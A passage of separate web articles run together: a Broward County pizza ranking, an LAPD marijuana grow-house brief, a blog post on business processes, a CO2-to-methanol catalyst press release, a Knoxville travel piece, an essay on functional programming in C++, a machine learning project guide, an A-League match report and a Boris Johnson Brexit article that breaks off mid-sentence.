of where to find the most authentic Italian wood oven pizza, Coral Springs probably doesn’t come to mind. But, there — tucked away in The Walk shopping plaza — is a hidden secret. It's called La Fontana, where brothers Tony and Spartak Tare are making some amazing pies. They hail from Ferrara, Italy and their pizza tastes like it Take a bite, close your eyes, and you can imagine yourself overlooking Ferrara's broad streets and palaces. The pizza at La Fontana is a perfect example of wood-fired pies should be done. The crust is nice and thin, yet also crispy, not overloaded with cheese or greens. The brothers insist on using quality tomatoes in their homemade sauce. This is more of a trattoria than just a regular pizzeria, and you can take advantage of an outdoor courtyard to eat under the stars during nice evenings.  7. Villa Rose Pizza  1114 N. State Rd 7, Hollywood; 954-983-7660, or visit villarosepizza.com.  Hollywood's Villa Rose is a family-run place that's been around since 1975, a testament to its fine fare. A small mom-and-pop place, it smells like pizza the moment you walk in the door, even if there's no one cooking at the old-school deck oven. The pies here are considered Chicago-style thin crust, and despite a few signature variations including the Villa Rose special (sausage, mushroom, onion, and green pepper) the plain cheese pie is one of the best around. If you like thin crust, that is. The pie arrives cut in squares, with a smooth layer of hearty, herb-flecked tomato sauce spread beneath a thin veil of bubbly melted cheese. The crust may be thin, but it's also pliant and chewy and cooked just long enough to yield a considerable amount of flavor without any burnt, charred edges.  6. Sicilian Oven  2486 N. Federal Hwy., Lighthouse Point; 954-785-4155, or visit sicilianoven.com.  Like many restaurants, including spots like Anthony’s Coal Fired, the original location is usually the best. This holds true for Sicilian Oven, a local chain that's opened four additional restaurants in South Florida in the past several years. Sicilian Oven is touted for its wood-fired pizza. But not just any wood fired pie: the owners are former Anthony’s Coal Fired pizza-maker Andrew Garavuso and his business partner Ralph DiSalvo, who opened DiSalvo’s Pizzeria in Hollywood. Unlike many restaurants, Sicilian Oven has two wood ovens cooking their pies, which helps the pizza come to the table faster during the busy lunch and dinner rush. Their pies arrive with a chewy, browned crust and just the right amount of caramelized char around the outer edges. The pizza here has more bite than you'll find at other area restaurants that use similar ovens, most likely the result of slower cooking times at other joints. This is a pizza that's certainly worth traveling for.  5. Esposito's New York & Coal Fired Pizza  2221 S. University Drive, Davie; 954-916-5667, or visit espositospizzaonline.com.  If you’re looking for a stellar coal-fired pizza in Broward, look no further than Esposito’s in Davie. It’s the type of pie you would drive miles to taste. The high heat of the oven ensures a charred, crisp crust. A variety of toppings and styles are offered, everything from a classic mozzarella pie to Esposito’s Own, topped with ham, mozzarella, mushrooms, Roma tomatoes, and arugula and drizzled with olive oil. The restaurant family also owns Grande Pizza in Sunrise (where you can find some stellar Detroit-style deep-dish) and Annie’s Pizza in Margate (another top-rated spot), which stands to reason these people know their pies.  4. Osteria Aqua e Farina  1145 S Federal Hwy., Fort Lauderdale; 954-523-1115, or visit osteriaacquaefarina.com.  Being a pizza expert comes with about a dozen emails a week from readers who tell WorstPizza.com’s Agranoff he doesn’t know good pizza simply because he hasn’t had a chance to try their “favorite” yet. Though it would be impossible to try every slice in every city, Agranoff comes close; when the pizza expert receives multiple requests from longtime readers about a single place, he’ll typically go out of his way to try it. That’s how he discovered Osteria Acqua e Farina in Fort Lauderdale. Founded by Giovanni Rocchio, chef/owner of Valentino’s, it made some terrific pies. Though Rocchio is no longer there, good pizza remains. Upon walking into Osteria, you’ll be greeted by a delightful aroma, one that hints at delectability of the pies, each made with topnotch ingredients and a special dough designed by Rocchio himself, tweaked ever so slightly since his departure. Pies arrive with crisp crusts and bubbling cheese. Every once in a while, the pies will be overcooked in the blistering-hot oven, but even so, this place is still one of Broward’s best options.  3. Joe's Old School Pizza  1090 N. Federal Hwy., Hollywood; 954-922-6161, or visit joesoldschoolpizza.com.  With a six-month-old location in Coral Gables, a six-week-old outpost in Cooper City, and the Hollywood flagship about to hit its three-year mark in November, Joe’s Old School pizza is on the rise. Chef/owner Joe Caristo is originally from Brooklyn but has spent the past 25 years in South Florida, enough to make him an honorary Floridian. New York is still in his blood, though, and also in his pizza. Once a certified general contractor, Caristo left the business to open his first restaurant in 2014, revamping an old gas station into a unique indoor-outdoor pizzeria. Today his deck ovens pump out amazing pies. Dough and garlic rolls are made daily from a balance of flour, water, salt, and yeast perfect for the South Florida humidity, Caristo says. He also uses top-grade Grande cheese and a “secret” red sauce that delivers a perfectly sour-sweet tang atop the crisp, thin crust. The best part: You’ll always get a fresh slice. Caristo doesn’t like anything lying around and believes people will wait the eight minutes for a fresh pie even if they’re ordering a single slice.  2. Cafe La Buca  451 S Cypress Rd., Pompano Beach; 954-786-0673.  Cafe La Buca in Pompano Beach isn’t the most elegant red-sauce restaurant, but what it lacks in decor it makes up for with its vibrant, classic Neapolitan cuisine. The menu changes almost daily, with dishes ranging from homemade pasta to fresh seafood and grilled steak. But the wood-fired pizzas are the unsung heroes of this menu — or should we say lack of menu? Daily specials and dishes are presented verbally, including pies that fire up in less than ten minutes, delivering a chewy-thick crust dotted with rounds of fresh, melted mozzarella and a colorful array of fresh herbs and gourmet toppings.  1. Vincent’s Italian Kitchen  106 Commercial Blvd., Lauderdale-by-the-Sea; 954-772-8111.  Every now and then, an Italian restaurant offers pizza on its menu. Usually, it’s nothing to write home about, but this isn’t the case at Vincent’s, which boasts a new Stefano Ferrara wood-burning oven handmade in Naples, Italy. A newcomer to the Commercial Boulevard beachside strip, the restaurant has quickly become a favorite spot for a quick pie throughout the day. Here, executive chef/owner Vincent Foti is putting the same attention to detail into his food as he does at famed Kitchenetta in Fort Lauderdale. Just like its alma mater, Vincent’s strips its dishes to their foundation and then revamps them. For Foti, good pizza isn’t about reinventing the wheel, but paying attention to detail: Homemade dough is made using imported Caputo 00 Italian flour, red sauce is assembled à la minute using Italian tomatoes, and fresh mozzarella is pulled daily. When the pie arrives at the table, tiny pools of olive oil are dotted atop, the final touch for the perfect pizza. Parking isn’t easy, especially on sunny days, but this spot is worth the inconvenience, because it serves easily one of the best pizzas you will try in Broward County — and possibly the entire state.
-For about the last eight months, several suspects operated a sophisticated marijuana operation in a warehouse just 25 feet from the Los Angeles Police Department's Topanga Station in Canoga Park, police said tonight.  Three men were taken into custody earlier today after officers served a search warrant on the warehouse in the 8400 block of Canoga Avenue.  Growers had built three rooms in the building -- one for seedlings, another for medium-sized plants and one where harvesting was apparently conducted, police said. The lights were controlled so they wouldn't overheat, watering systems were automated and oxygen levels were supplemented by carbon dioxide tanks, according to police.  "It was very sophisticated," said LAPD Officer Karen Raynor.  She said the growers used insulation material to seal cracks in the building. But about a week ago, officers in the station's parking lot noticed something out of the ordinary.  "They happened to catch a whiff of it," Raynor said.  A surveillance operation was launched, and officers obtained the warrant. The names of the three men, who appeared to be in their 30s, were not released because they had not been booked.  -- Robert J. Lopez  Photo: Interior growing room of marijuana warehouse. Credit: KTLA
-This blog is about lean. Lean startups, lean marketing, minimum viable products, I get all that. In this post I will argue that processes, systems, and standard operating procedures, though fixtures of pre-internet businesses, are ESSENTIAL to maintaining a lean business and really any business.  Even in the early days of the internet, starting a business was extremely expensive, which meant you couldn’t just stumble into entrepreneurship and hope for the best the way you can today. Then, in 2007, a major shift in business philosophy (4HWW) occurred right under my nose. A rebellious cadre of entrepreneurs took to their laptops and declared an end to archaic business fundamentals. Here are a few examples of this mindset revolution:  Old: Carefully consider your startup expenses. Get a business loan, find a financier, or use your savings.  New: Starting a business on the internet is almost free. Just drop $10 on a domain, $3/mo on hosting and plop WordPress on it. Start posting and you have a business!  Old: Consult with a lawyer and an accountant before determining your business structure.  New: Figure it out later!  Old: Write a business plan detailing every part of your business. Spend weeks on it. Maybe even hire an expensive consultant to do it for you.  New: Just pick a niche and start.  I get why the transition happened. I just don’t think you should be throwing out the baby with the bathwater. The biggest baby I see tossed is the adherence to systems and processes.  Business is Processes  What do you get when you buy a McDonald’s franchise? You buy nothing more than a series of processes. You get a building that looks roughly the same as any other McDonalds, a menu with the same items, training manuals for how to make french fries, burgers, and every other contingency, etc. How else can a bunch of teenagers run a multi-million dollar operation?  Your business IS a process. You are turning inputs into outputs.  If you are a web developer, the input is the client’s description of what they want, and the output is the website.  If you are a car manufacturer, your inputs are the parts and materials, and your output is the car.  If you are an affiliate marketer, your input is the traffic that comes to your site, and your output is taking them to the target site with an elevated intent to buy.  You are turning something into something else, and that is what people are paying you for.  Embedded Processes  Have you ever had this happen to you? You sit down to do SEO for one of your sites or one of your clients’ sites. Five hours later, you’re not really sure what you did. Yeah, me too. It used to happen all the time until I began analyzing and defining each and every process in my business.  This is the framework you need to adopt. Think of your business as the overarching process. Inside this all-encompassing process are intermediary processes that turn intermediary inputs into intermediary outputs.  Here’s a simplified process diagram of an SEO business. Inputs are in green and processes are in yellow:  Let’s zoom in on New Content Creation. Follow through the diagram in terms of inputs and outputs. Red represents a process you have no control over. Note that the output of the previous process is the input for the next.  Let’s go one level deeper and zoom in on keyword research.  This is extremely simplified but it illustrates the strategy well.  You should do this for your entire business. How deep should you go? Once the steps reach absurdity like “double-click on Market Samurai,” or “start your computer” you can stop. Do what’s reasonable and helpful.  Advantages of Processization  1. It highlights what can be outsourced.  When you have your operations so clearly defined, it becomes apparent that you are not really necessary for a giant chunk of your business operations.  2. Increased efficiency  At any given point in time, you and your staff know EXACTLY what to do once you finish performing the current task. Every decision you have to make drains your mental energy. It’s best to reduce decisions so you can focus on the truly important ones.  3. Your business is sellable  Remember that McDonalds is nothing more than a proven and established series of processes? If you ever want to unload your business, processization will make it sellable and increase the price.  4. Consistent quality  Imagine going to your favorite sandwich place and getting an amazing sandwich one day and a crappy one the next day. Even if on the good days, this was the world’s greatest sandwich, you would stop patronizing this business. One of the things you pay for when buying any product is consistency in the quality. Processizing your business ensures that each of your customers is receiving the same quality service. This is also how you avoid bad reviews in Yelp, etc.  5. You can sell the outputs of your processes  Once your processes achieve a certain efficiency and effectiveness you can begin selling them to others who can benefit. Often it’s easier to simply outsource an entire process than building your own team. This is exactly what I do at processmint.com. I offer Process Mint clients the same processes that have been working for me in my business and other clients’ businesses.  Demolish Process Barriers  What are the roadblocks to implementing processes? I hear basically 2 objections:  1. Processes stifle creativity  and  2. My business is too complex to processitize  To the first objection, it’s actually the exact opposite. You’re afraid of the potential monotony that processes create. Processes actually encourage creativity. Running a disorganized business requires so much mental energy, just trying to figure out what to do next will sap your creativity. When standard operating procedures are in place, you can spend your saved energy on creativity.  And furthermore, you can apply your creativity to your process design. Think of ways to constantly improve your processes, to introduce new ones, or to replace ineffective ones.  To the second objection, I usually find that this is an excuse for laziness. It can be a difficult thought exercise to run through your entire business and establish processes.  Remember, some processes are better than none. You might not be able to standardize your entire business, but there are certainly parts you can. Turning even small parts of your business into established processes can have an extremely cathartic effect and reduce the number of headaches.  Also, what exactly is preventing you from turning even creative activities into processes? Writers use predetermined frameworks and outlines. Effective website designers pick from a list of predetermined themes that are relevant to their customers’ needs. Broadcasters have an established delivery method. Interviewers use prewritten questions. Whatever it is you do, you can create processes.  Your assignment  Go to bubbl.us. This is the mindmapping app I used to create the diagrams in this post. Pick a relatively simple process in your business and begin mapping that sh*t. You’ll be glad you did.  Updated June 8, 2015 by Adam Steele
-PITTSBURGH (December 7, 2016) … Research at the University of Pittsburgh’s Swanson School of Engineering focused on developing a new catalyst that would lead to large-scale implementation of capture and conversion of carbon dioxide (CO 2 ) was recently published in the Royal Society of Chemistry journal Catalysis Science & Technology.  Principal investigator is Karl Johnson, the William Kepler Whiteford Professor in the Swanson School's Department of Chemical & Petroleum Engineering. Postdoctoral associate Jingyun Ye is lead author. The article “Catalytic Hydrogenation of CO 2 to Methanol in a Lewis Pair Functionalized MOF” (DOI: 10.1039/C6CY01245K), is featured on the cover of Catalysis Science & Technology (vol. 6, no. 24) and builds upon Dr. Johnson’s previous research that identified the two main factors for determining the optimal catalyst for turning atmospheric CO 2 into liquid fuel. The research was conducted using computational resources at the University’s Center for Simulation and Modeling.  “Capture and conversion of CO 2 to methanol has the potential to solve two problems at once – reducing net carbon dioxide emissions while generating cleaner fuels,” Dr. Johnson explained. “Currently, however, it is a complex and expensive process that is not economically feasible. Because of this, we wanted to simplify the catalytic process as much as possible to create a sustainable and cost-effective method for converting CO 2 to fuel – essentially to reduce the number of steps involved from several to one.”  Johnson and Ye focused on computationally designing a catalyst capable of producing methanol from CO 2 and H 2 utilizing metal organic frameworks (MOFs), which potentially provide a pathway to a single-process unit for carbon capture and conversion. The MOFs could dramatically reduce the cost of carbon capture and conversion, bringing the potential of CO 2 as a viable feedstock for fuels closer to reality.  “Methanol synthesis has been extensively studied because methanol can work in existing systems such as engines and fuel cells, and can be easily transported and stored. Methanol is also a starting point for producing many other useful chemicals,” Dr. Johnson said. “This new MOF catalyst could provide the key to close the carbon loop and generate fuel from CO 2 , analogously to how a plant converts carbon dioxide to hydrocarbons.”  This work was supported by a grant from the U.S. Department of Energy (Grant No. DE-FG02-10ER16165).  Image above and cover inset: Artist's conception of a catalyst (light blue and gray framework) capable of capturing CO 2 (red and gray molecules on left side) and, along with hydrogen (white molecules) converting it to methanol (red, gray and white molecules on the right).  ###  About the Johnson Research Group  The Johnson Research Group at the University of Pittsburgh uses atomistic modeling to tackle fundamental problems over a wide range of subject areas in chemical engineering, including the study of the molecular design of nanoporous sorbents for the capture of carbon dioxide, the transport of gases and liquids through carbon nanotube membranes, chemical reactions with doped carbon nanotubes, development of CO 2 -soluble polymers and CO 2 thickeners, and hydrogen storage with complex hydrides.  About Dr. Johnson  Karl Johnson is co-director of the Center for Simulation and Modeling at the University of Pittsburgh and a member of the Pittsburgh Quantum Institute. He received his bachelor’s and master’s of science degrees in chemical engineering from Brigham Young University. In 1992, he received his PhD in chemical engineering with a minor in computer science from Cornell University.  Author: Paul Kovach, Director of Marketing and Communications, 12/7/2016  Contact: Paul Kovach
-Knoxville, Tenn., may or may not be a great place to live, or to spend a month or a week or a couple of days. I have no idea. Should the need arise, however, I can say it’s the perfect place to spend 18 hours.  I did just that on a recent Thursday, from 7 a.m. to 1 a.m., during a bus trip from New York to Kentucky. Why would I take a bus from New York to Kentucky via Knoxville? That’s a story for next week, but getting to hang out in Knoxville was part of the incentive.  In the foothills of the Great Smoky Mountains, the third-biggest city in Tennessee is not a particularly flashy town, unless you count the University of Tennessee’s bright orange uniforms. I had no vehicle for getting into the mountains, but I did take in two free musical performances, see an unexpectedly cool museum, and have four good beers and two excellent meals. I made at least one new friend, browsed a record store that also sold laser-discs, wandered a historic district of early 20th-century homes and learned something about Dolly Parton. It cost me almost exactly $50, including an Uber ride. (No sale on those laser-discs, though.)  Morning  Just after 7 a.m., I made the short walk from the bus station to South Gay Street, Knoxville’s main drag, and headed to the Old City section, where I found OliBea, a breakfast place with brightly painted walls and plenty of sunlight. It was as cheery a contrast to the crowded, smelly bus that I had just disembarked as I could imagine. For budgetary purposes (and in part because I had bought an ill-advised bag of Combos during a 3 a.m. rest stop), I skipped the breakfast plates (smoked-trout omelet, carnita tostada) and went à la carte: a bracing cup of coffee ($2.50), a biscuit ($1.99) and duck eggs over easy ($2.49). I had never had duck eggs for breakfast before, but I operate under the general philosophy that everything duck is better than everything chicken, so went for it. I was rewarded with creamy, gooey yolks that made a perfect dipping sauce for a silky biscuit already slathered with house-made jam.
-Probably everyone reading this has heard “functional programming” put forth as something that is supposed to bring benefits to software development, or even heard it touted as a silver bullet. However, a trip to Wikipedia for some more information can be initially off-putting, with early references to lambda calculus and formal systems. It isn’t immediately clear what that has to do with writing better software.  My pragmatic summary: A large fraction of the flaws in software development are due to programmers not fully understanding all the possible states their code may execute in. In a multithreaded environment, the lack of understanding and the resulting problems are greatly amplified, almost to the point of panic if you are paying attention. Programming in a functional style makes the state presented to your code explicit, which makes it much easier to reason about, and, in a completely pure system, makes thread race conditions impossible.  I do believe that there is real value in pursuing functional programming, but it would be irresponsible to exhort everyone to abandon their C++ compilers and start coding in Lisp, Haskell, or, to be blunt, any other fringe language. To the eternal chagrin of language designers, there are plenty of externalities that can overwhelm the benefits of a language, and game development has more than most fields. We have cross platform issues, proprietary tool chains, certification gates, licensed technologies, and stringent performance requirements on top of the issues with legacy codebases and workforce availability that everyone faces.  If you are in circumstances where you can undertake significant development work in a non-mainstream language, I’ll cheer you on, but be prepared to take some hits in the name of progress. For everyone else: No matter what language you work in, programming in a functional style provides benefits. You should do it whenever it is convenient, and you should think hard about the decision when it isn’t convenient. You can learn about lambdas, monads, currying, composing lazily evaluated functions on infinite sets, and all the other aspects of explicitly functionally oriented languages later if you choose.  C++ doesn’t encourage functional programming, but it doesn’t prevent you from doing it, and you retain the power to drop down and apply SIMD intrinsics to hand laid out data backed by memory mapped files, or whatever other nitty-gritty goodness you find the need for.  Pure Functions  A pure function only looks at the parameters passed in to it, and all it does is return one or more computed values based on the parameters. It has no logical side effects. This is an abstraction of course; every function has side effects at the CPU level, and most at the heap level, but the abstraction is still valuable.  It doesn’t look at or update global state. it doesn’t maintain internal state. It doesn’t perform any IO. it doesn’t mutate any of the input parameters. Ideally, it isn’t passed any extraneous data – getting an allMyGlobals pointer passed in defeats much of the purpose.  Pure functions have a lot of nice properties.  Thread safety. A pure function with value parameters is completely thread safe. With reference or pointer parameters, even if they are const, you do need to be aware of the danger that another thread doing non-pure operations might mutate or free the data, but it is still one of the most powerful tools for writing safe multithreaded code.  You can trivially switch them out for parallel implementations, or run multiple implementations to compare the results. This makes it much safer to experiment and evolve.  Reusability. It is much easier to transplant a pure function to a new environment. You still need to deal with type definitions and any called pure functions, but there is no snowball effect. How many times have you known there was some code that does what you need in another system, but extricating it from all of its environmental assumptions was more work than just writing it over?  Testability. A pure function has referential transparency, which means that it will always give the same result for a set of parameters no matter when it is called, which makes it much easier to exercise than something interwoven with other systems. I have never been very responsible about writing test code; a lot of code interacts with enough systems that it can require elaborate harnesses to exercise, and I could often convince myself (probably incorrectly) that it wasn’t worth the effort. Pure functions are trivial to test; the tests look like something right out of a textbook, where you build some inputs and look at the output. Whenever I come across a finicky looking bit of code now, I split it out into a separate pure function and write tests for it. Frighteningly, I often find something wrong in these cases, which means I’m probably not casting a wide enough net.  Understandability and maintainability. The bounding of both input and output makes pure functions easier to re-learn when needed, and there are less places for undocumented requirements regarding external state to hide.  Formal systems and automated reasoning about software will be increasingly important in the future. Static code analysis is important today, and transforming your code into a more functional style aids analysis tools, or at least lets the faster local tools cover the same ground as the slower and more expensive global tools. We are a “Get ‘er done” sort of industry, and I do not see formal proofs of whole program “correctness” becoming a relevant goal, but being able to prove that certain classes of flaws are not present in certain parts of a codebase will still be very valuable. We could use some more science and math in our process.  Someone taking an introductory programming class might be scratching their head and thinking “aren’t all programs supposed to be written like this?” The reality is that far more programs are Big Balls of Mud than not. Traditional imperative programming languages give you escape hatches, and they get used all the time. If you are just writing throwaway code, do whatever is most convenient, which often involves global state. If you are writing code that may still be in use a year later, balance the convenience factor against the difficulties you will inevitably suffer later. Most developers are not very good at predicting the future time integrated suffering their changes will result in.  Purity In Practice  Not everything can be pure; unless the program is only operating on its own source code, at some point you need to interact with the outside world. It can be fun in a puzzly sort of way to try to push purity to great lengths, but the pragmatic break point acknowledges that side effects are necessary at some point, and manages them effectively.  It doesn’t even have to be all-or-nothing in a particular function. There is a continuum of value in how pure a function is, and the value step from almost-pure to completely-pure is smaller than that from spaghetti-state to mostly-pure. Moving a function towards purity improves the code, even if it doesn’t reach full purity. A function that bumps a global counter or checks a global debug flag is not pure, but if that is its only detraction, it is still going to reap most of the benefits.  Avoiding the worst in a broader context is generally more important than achieving perfection in limited cases. If you consider the most toxic functions or systems you have had to deal with, the ones that you know have to be handled with tongs and a face shield, it is an almost sure bet that they have a complex web of state and assumptions that their behavior relies on, and it isn’t confined to their parameters. Imposing some discipline in these areas, or at least fighting to prevent more code from turning into similar messes, is going to have more impact than tightening up some low level math functions.  The process of refactoring towards purity generally involves disentangling computation from the environment it operates in, which almost invariably means more parameter passing. This seems a bit curious – greater verbosity in programming languages is broadly reviled, and functional programming is often associated with code size reduction. The factors that allow programs in functional languages to sometimes be more concise than imperative implementations are pretty much orthogonal to the use of pure functions — garbage collection, powerful built in types, pattern matching, list comprehensions, function composition, various bits of syntactic sugar, etc. For the most part, these size reducers don’t have much to do with being functional, and can also be found in some imperative languages.  You should be getting irritated if you have to pass a dozen parameters into a function; you may be able to refactor the code in a manner that reduces the parameter complexity.  The lack of any language support in C++ for maintaining purity is not ideal. If someone modifies a widely used foundation function to be non-pure in some evil way, everything that uses the function also loses its purity. This sounds disastrous from a formal systems point of view, but again, it isn’t an all-or-nothing proposition where you fall from grace with the first sin. Large scale software development is unfortunately statistical.  It seems like there is a sound case for a pure keyword in future C/C++ standards. There are close parallels with const – an optional qualifier that allows compile time checking of programmer intention and will never hurt, and could often help, code generation. The D programming language does offer a pure keyword: http://www.d-programming-language.org/function.html Note their distinction between weak and strong purity – you need to also have const input references and pointers to be strongly pure.  In some ways, a language keyword is over-restrictive — a function can still be pure even if it calls impure functions, as long as the side effects don’t escape the outer function. Entire programs can be considered pure functional units if they only deal with command line parameters instead of random file system state.  Object Oriented Programming  Michael Feathers @ mfeathers OO makes code understandable by encapsulating moving parts. FP makes code understandable by minimizing moving parts.  The “moving parts” are mutating states. Telling an object to change itself is lesson one in a basic object oriented programming book, and it is deeply ingrained in most programmers, but it is anti-functional behavior. Clearly there is some value in the basic OOP idea of grouping functions with the data structures they operate on, but if you want to reap the benefits of functional programming in parts of your code, you have to back away from some object oriented behaviors in those areas.  Class methods that can’t be const are not pure by definition, because they mutate some or all of the potentially large set of state in the object. They are not thread safe, and the ability to incrementally poke and prod objects into unexpected states is indeed a significant source of bugs.  Const object methods can still be technically pure if you don’t count the implicit const this pointer against them, but many object are large enough to constitute a sort of global state all their own, blunting some of the clarity benefits of pure functions. Constructors can be pure functions, and generally should strive to be – they take arguments and return an object.  At the tactical programming level, you can often work with objects in a more functional manner, but it may require changing the interfaces a bit. At id we went over a decade with an idVec3 class that had a self-mutating void Normalize() method, but no corresponding idVec3 Normalized() const method. Many string methods were similarly defined as working on themselves, rather than returning a new copy with the operation performed on it – ToLowerCase(), StripFileExtension(), etc.  Performance Implications  In almost all cases, directly mutating blocks of memory is the speed-of-light optimal case, and avoiding this is spending some performance. Most of the time this is of only theoretical interest; we trade performance for productivity all the time.  Programming with pure functions will involve more copying of data, and in some cases this clearly makes it the incorrect implementation strategy due to performance considerations. As an extreme example, you can write a pure DrawTriangle() function that takes a framebuffer as a parameter and returns a completely new framebuffer with the triangle drawn into it as a result. Don’t do that.  Returning everything by value is the natural functional programming style, but relying on compilers to always perform return value optimization can be hazardous to performance, so passing reference parameter for output of complex data structures is often justifiable, but it has the unfortunate effect of preventing you from declaring the returned value as const to enforce single assignment.  There will be a strong urge in many cases to just update a value in a complex structure passed in rather than making a copy of it and returning the modified version, but doing so throws away the thread safety guarantee and should not be done lightly. List generation is often a case where it is justified. The pure functional way to append something to a list is to return a completely new copy of the list with the new element at the end, leaving the original list unchanged. Actual functional languages are implemented in ways that make this not as disastrous as it sounds, but if you do this with typical C++ containers you will die.  A significant mitigating factor is that performance today means parallel programming, which usually requires more copying and combining than in a single threaded environment even in the optimal performance case, so the penalty is smaller, while the complexity reduction and correctness benefits are correspondingly larger. When you start thinking about running, say, all the characters in a game world in parallel, it starts sinking in that the object oriented approach of updating objects has some deep difficulties in parallel environments. Maybe if all of the object just referenced a read only version of the world state, and we copied over the updated version at the end of the frame… Hey, wait a minute…  Action Items  Survey some non-trivial functions in your codebase and track down every bit of external state they can reach, and all possible modifications they can make. This makes great documentation to stick in a comment block, even if you don’t do anything with it. If the function can trigger, say, a screen update through your render system, you can just throw your hands up in the air and declare the set of all effects beyond human understanding.  The next task you undertake, try from the beginning to think about it in terms of the real computation that is going on. Gather up your input, pass it to a pure function, then take the results and do something with it.  As you are debugging code, make yourself more aware of the part mutating state and hidden parameters play in obscuring what is going on.  Modify some of your utility object code to return new copies instead of self-mutating, and try throwing const in front of practically every non-iterator variable you use.  Additional references:  http://www.haskell.org/haskellwiki/Introduction  http://lisperati.com/  http://www.johndcook.com/blog/tag/functional-programming/  http://www.cs.kent.ac.uk/people/staff/dat/miranda/whyfp90.pdf  http://channel9.msdn.com/Shows/Going+Deep/Lecture-Series-Erik-Meijer-Functional-Programming-Fundamentals-Chapter-1  http://www.cs.utah.edu/~hal/docs/daume02yaht.pdf  http://www.cs.cmu.edu/~crary/819-f09/Backus78.pdf  http://fpcomplete.com/the-downfall-of-imperative-programming/
-10 steps to bootstrap your machine learning project (part 2)  Thomas Olivier Blocked Unblock Follow Following Nov 2, 2016  In the first article of this series, we defined what the best steps are when working on a new machine learning project.  As a reminder, the first five steps are:  Define your task Define your dataset Split your dataset Define your metrics Establish a baseline  Your baseline is your lower boundary: you want to get better results than this dumb model. You are now looking to another boundary: the human error rate which is the accuracy someone familiar with your task can get easily. You want to reach this human error rate and go beyond it, if possible.  6. Know some absolute metrics about neural nets 📊  Before implementing your neural network, it could be interesting to know some absolute metrics on the computation of your neural network.  As stated by Yoshua Bengio at the Bay Area Deep Learning School (video here), if you have a network with N features and each one need O(K) (an order of K) parameters in the final model, you’ll, at least, need O(K*N) examples for your network to be able to generalize well. That’s an interesting metric as it gives you a first idea of the size of the needed dataset.  A bit more technical metric you can look at is the Vapnik–Chervonenkis dimension (VC dimension), which gives you the complexity of a neural network . It gives you a tool to measure the learning ability of the network. Although it’s not a mandatory step and it’s more used as a theoretical metric, it gives you a sense of what’s happening in terms of learning.  7. Implement an existing neural network model ⚙  You know the kind of neural network you are willing to implement. That is awesome. Don’t rush into developing it from scratch. You will probably be able to download it, already trained. This will make you earn tons of hours (both in engineering and in GPU-time). As Andrej Karpathy says: “Don’t be a hero” 😎.  Set it up with your favorite machine learning framework and run it!  You will also want to fine-tune your model so that it works well with your data. Fine-tuning a model implies playing with hyper-parameters, the size of the network, the processing of your data…  Compute the error on the train and dev datasets, fine-tune it to your specific task and analyse the output errors.  Try to be always close to your data:  Visualize your inputs / outputs (you could plot your data and their computed categories for example)  Collect summary statistics  Play with your hyper parameters and see how they affect your results (on a same graph, plot your error rates computed with different hyper parameters)  8. Other architectures?  If you had some doubts when choosing your model, it’s great to give a try to other architectures and compare their results.  For example, if you plan to translate from a language to another one, you could have a look at the Seq2Seq model, but also to some simpler RNN architectures.  If you are working with words, you could try using different embedding.  For a full list of classic networks, The Asimov Institute came up with an awesome blog post: The Neural Network Zoo.  The Neural Network Zoo  I you do not find anything accessible, you can gain intuition by reading papers related to your problem. It will help you get insights on how a specific task is solved and thus could lead you to try new models.  9. It’s not working, what should I do next? 🤔  To get some understanding on what you should do next, you should first compare the human error level to your model error level, both on the training and the dev sets.  Plot the different error lines on a chart.  In order to know what kind of action we can take, we have to know if we are currently in a high bias or/and a high variance problem.  Remember that we split our dataset into three groups: the training set, the dev (or cross validation) set and the test set.  It’s important not to take the following actions at the same time as one action could solve all your problems. Do the first one, look at the results and see if you are still facing the same issue. If so, try another solution!  If your train error is high, compared to the human level error — high bias:  Try to have a bigger (deeper) model  Add polynomial features / change your hyper-parameters  Train longer your model  New model architecture  If your dev error is high, compared to your train error — high variance:  More data  You could generate more data (add some noise, transpose,…)  Smaller set of features  Try regularization  Early stopping  New model architecture  If your test error is high but your dev error is normal — overfit of your dev set:  Get more dev data by adding more data to your dataset or by changing the split of your dataset  At some point, your machine learning algorithm can be better than the human level error but you can still experience some variance problems.  What you should know is that once you have reached the human lever error, it is harder and harder to get your algorithm better — and reach the Bayes rate which is the the lowest possible error rate for any classifier of a random outcome.  10. To sum it up 🏁  Your goal is now to iterate over different models quickly to beat the baseline and reach your goal metrics.  It’s also important to gain intuition on how neural networks work to avoid doing unnecessary tasks and not to repeat the same mistakes over and over.
-The A-League’s sleeping giant may not be fully awake, but Brisbane managed to rub the sleep from its eyes with a 3-1 thumping of Perth Glory at Suncorp Stadium.  After consecutive losses that had given their pursuit of the A-League premiership the speed wobbles, the Roar played themselves into form with a hat-trick of second half goals against the battling club from the west.  Glory coach Kenny Lowe wasn’t completely enamoured with Brisbane’s effort, labelling the home side ‘toothless’ in the first half before they began to dominate possession and the class rose to the top.  “I thought they were a bit toothless in the first half. They played in front of us and not really through us. But once they got the ascendancy they were good value for the win,” Lowe said.
-Boris Johnson today warned British business it must stop 'mainlining' immigration as the UK quits the EU.  The Foreign Secretary said he was in favour of skilled foreign workers coming to the UK but said the Brexit vote was about 'control' over numbers to ensure British youngsters had a fair chance of work.  Mr Johnson said unlimited immigration from Europe for the past 25 years had left firms addicted to cheap labour from abroad.  Amid a growing row over when the Government should officially start the Brexit negotiations, Mr Johnson also said the process should be underway by May.  Foreign Secretary Boris Johnson today warned British business had to stop 'mainlining' immigration instead of investing in British workers  Any later and voters will be faced with electing a new group of MEPs in 2019 because Britain could still be a member of the EU.  Mr Johnson told the BBC's Andrew Marr: 'I want skilled and talented people to come to the UK if they want to fulfill their dreams in our country - I have no problem with that provided we have control.  'In the last figures we had, 333,000 people came net from around the world. That's a huge sum, 175,000 net from the EU, in an uncontrolled way.  'Most people in our country would say that is too high.'  He added: 'We have got to invest in our own young people, we have also got to build up the skills of this country.  'For 25 years UK business and industry have been mainlining immigration like a kind of drug without actually investing enough or caring enough about the skills and the training of young people in our country.'  Mr Johnson was slapped down this week by No 10 after insisting Article 50 - which sets out the rules for countries quitting the EU - should be invoked early in the new year.  Mrs May insisted the decision on timing would be hers and has repeatedly told EU officials Britain will not be rushed as it prepares for the two year negotiation period that will follow Article 50.  Interviewed by the BBC's Andrew Marr, Mr Johnson also said the Brexit negotiations should be underway before May to ensure voters are not forced to elect a new cohort of MEPs in 2019  Critics, led by former chancellor George Osborne, have urged Mrs May to delay until after French and German elections next year.  Mr Johnson today insisted the process would not be allowed to 'drag on'.  He said: 'The opportunity is to do a deal that would be very much in the interests not only of the UK but also for our friends and partners in the EU.  'What I am finding interesting talking to other countries is they are starting to see the opportunities from Brexit.'  Pressed again on timing, after former chancellor George Osborne called for a 